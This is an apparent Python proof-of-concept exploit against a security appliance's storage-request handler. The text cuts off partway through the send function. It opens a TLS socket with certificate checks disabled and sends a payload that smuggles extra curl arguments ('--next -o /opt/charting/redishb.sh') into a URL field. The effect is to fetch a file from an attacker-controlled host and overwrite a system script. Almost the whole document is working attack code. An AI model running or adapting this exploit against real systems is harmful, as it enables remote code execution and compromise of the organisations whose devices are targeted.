#!/usr/bin/python3
import argparse
import socket
import struct
import ssl
# 81 - handleStorageRequest
# [command]=/opt/phoenix/phscripts/bin/elastic_test_url.sh 'test_name' 'http://10.0.40.83:9200'
payload = """
javaTransportClient
test_name
10.0.40.83
http://10.0.40.83:9200 --next -o /opt/charting/redishb.sh http://10.0.40.83:9200
5555
4444
3
4
test_type
testuser
testpass
"""
def send_command(target: str, port: int):
c = ssl.create_default_context()
c.check_hostname = False
c.verify_mode = ssl.CERT_NONE
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
with c.wrap_socket(s, server_hostname=target) as ss:
ss.connect((target, port))
msg = b''
msg += struct.pack('